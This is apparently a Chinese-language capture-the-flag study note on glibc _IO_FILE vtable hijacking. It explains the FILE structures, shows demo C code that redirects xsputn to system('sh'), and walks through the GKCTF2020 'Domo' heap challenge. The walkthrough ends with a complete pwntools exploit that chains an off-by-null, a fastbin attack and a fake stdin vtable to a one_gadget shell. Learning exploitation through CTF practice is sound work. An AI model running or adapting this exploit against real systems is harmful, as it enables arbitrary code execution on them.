复习说明
_IO_FILE_plus 结构体:最全面的结构体
extern struct _IO_FILE_plus *_IO_list_all;
_IO_list_all:_IO_FILE_plus类型的一个指针
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
结构体 _IO_FILE_plus ,它有两部分组成。
在第一部分, file 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。file结构在程序执行,fread、fwrite 等标准函数需要文件流指针来指引去调用虚表函数。
特殊地, fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 file结构的指针来接收这个返回值。
_IO_jump_t:
在第二部分,刚刚谈到的虚表就是 _IO_jump_t 结构体,在此虚表中,有很多函数都调用其中的子函数,无论是关闭文件,还是报错输出等等,都有对应的字段,而这正是可以攻击者可以被利用的突破口。
值得注意的是,在 _IO_list_all 结构体中,_IO_FILE 结构是完整嵌入其中,而 vtable 是一个虚表指针,它指向了 _IO_jump_t 结构体。一个是完整的,一个是指针,这点一定要切记。
反正大致是这么个流程就对了
利用方法
伪造 vtable 劫持程序流程的中心思想就是针对_IO_FILE_plus 的 vtable 动手脚,通过把 vtable 指向我们控制的内存,并在其中布置函数指针来实现。
因此 vtable 劫持分为两种,一种是直接改写 vtable 中的函数指针,通过任意地址写就可以实现。另一种是覆盖 vtable 的指针指向我们控制的内存,然后在其中布置函数指针。
ctf-wiki上的例子:
int main(void)
{
FILE *fp;
long long *vtable_ptr;
fp=fopen("123.txt","rw");
vtable_ptr=*(long long*)((long long)fp+0xd8); //get vtable
vtable_ptr[7]=0x41414141 //xsputn
printf("call 0x41414141");
}
不过在目前 libc2.23 版本下,位于 libc 数据段的 vtable 是不可以进行写入的。
经过调试发现确实无法进行写入。
但是我们可以换一种利用思路,即伪造vtable的形式来利用
#define system_ptr 0x7ffff7a52390;
int main(void)
{
FILE *fp;
long long *vtable_addr,*fake_vtable;
fp=fopen("123.txt","rw");
fake_vtable=malloc(0x40);
vtable_addr=(long long *)((long long)fp+0xd8); //vtable offset
vtable_addr[0]=(long long)fake_vtable;
memcpy(fp,"sh",3);
fake_vtable[7]=system_ptr; //xsputn
fwrite("hi",2,1,fp);
}
原理:vtable 中的函数调用时会把对应的_IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 "sh" 写入_IO_FILE_plus 头部(即fp)。之后对 fwrite 的调用就会经过我们伪造的 vtable 执行 system("sh")。
如果程序中不存在 fopen 等函数创建的_IO_FILE 时,也可以选择 stdin\stdout\stderr 等位于 libc.so 中的_IO_FILE,这些流在 printf\scanf 等函数中就会被使用到。在 libc2.23 之前,这些 vtable 是可以写入并且不存在其他检测的。
一些思路:
程序调用exit时,会遍历_IO_list_all,用 IO_2_1_stdout 下的 vatable 中 _setbuf 函数。
例题
[GKCTF2020]Domo
分析和思路
main函数
add 函数,发现我们可以申请九个chunk,并且题目给我们加了一个对hook函数的检查,发现申请的时候有个off-by-null,比如当我们申请的块为0x18时,下一个chunk的size为的最后一个字节会被我们覆盖为0
edit 函数,我们可以修改任意一个地址的一个字节内容,但是edit函数只能使用一次
还有show函数和delete函数,在此不作赘述
思路:
第一步:泄漏地址,我们可以申请unsorted bin的大小来leak libc的地址,可以利用fastbin大小的chunk来leak heap段的地址
第二步:利用 off by null来构造重叠的chunk,向前unlink,布置一个fake chunk,然后申请一个big chunk获得一个chunk的控制能力后利用fastbin attack可以获得一个合适地址写的能力
第三步:攻击_IO_2_1_stdin_的vtable指针,在附近构造一个fastbin chunk并在heap段上伪造一个fake _IO_file_jumps,然后填入gadget,利用可写能力将vtable的值修改到fake _IO_file_jumps,从而getshell
注意事项:
1,leak heap address是为了能够在unlink的时候伪造fd和bk绕过检查,并且在后续中改写vtable的时候利用
2,注意unlink的检查
3,用这个思路解题的过程中并没有用到edit功能
exp:
from pwn import *
local = 1
if local == 1:
p = process('./domo')
else:
p = remote('node3.buuoj.cn',29623)
context.terminal = ['tmux','splitw','-h']
def dbg():
context.log_level = 'debug'
def add(size,content):
p.sendlineafter('>','1')
p.sendlineafter('size:',str(size))
p.sendafter('content:',content)
def delete(index):
p.sendlineafter('>','2')
p.sendlineafter('index:',str(index))
def show(index):
p.sendlineafter('>','3')
p.sendlineafter('index:',str(index))
def edit(addr,num):
p.sendlineafter('>','4')
p.sendlineafter('addr:',str(addr))
p.sendafter('num:',num)
#dbg()
libc = ELF('./libc-2.23.so')
print "============= step 1: leak libc and heap addr ================="
add(0x80,'aaaaaaaa') #chunk0
add(0x10,'protect') #chunk1
delete(0)
add(0x80,'\x78') #chunk0
#dbg()
show(0)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 88 - 0x10 - libc.sym['__malloc_hook']
print "[*] libc base:" + hex(libc_base)
add(0x20,'A') #chunk2
add(0x20,'B') #chunk3
delete(2)
delete(3)
add(0x20,'a') #chunk2
show(2)
heap_addr = u64(p.recvuntil('\x55')[-6:].ljust(8,'\x00')) - 0x1061
print "[*] heap address: " + hex(heap_addr)
print "=================== step 2: off by null to overlap ================="
offset_heap_chunk3 = 0x1120
fake_chunk = heap_addr + offset_heap_chunk3
payload = p64(0) + p64(0xb1) + p64(fake_chunk+0x18) + p64(fake_chunk+0x20) + p64(fake_chunk+0x10)
add(0x40,payload) #chunk3
add(0x68,'a') #chunk4
add(0xf0,'b') #chunk5
delete(4)
print "====== to use off by null ======"
add(0x68,0x60 * '\x00' + p64(0xb0)) #chunk4
print "===== unlink to overlap ====="
delete(5)
add(0xc0,'a') #chunk5
add(0x60,'b') #chunk6
delete(6)
delete(4)
delete(5)
#gdb.attach(p)
print "============ step 3: to make fake fake_vtable to get shell ================"
_IO_2_1_stdin_ = libc_base + libc.sym['_IO_2_1_stdin_']
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
fake_chunk = _IO_2_1_stdin_ + 160 - 3
payload = '\x00' * 0x38 + p64(0x71) + p64(fake_chunk)
add(0xc0,payload) #chunk5
one_gadget = libc_base + 0xf02a4
add(0xa8,p64(0) * 2 + p64(one_gadget) * 19)
fake_vtable = heap_addr + 0x1270
payload = '\x00' * 3 + p64(0) + p64(0) + p64(0) + p64(0) * 2 + p64(fake_vtable)
add(0x60,'a')
#gdb.attach(p)
add(0x60,payload)
#gdb.attach(p)
p.interactive()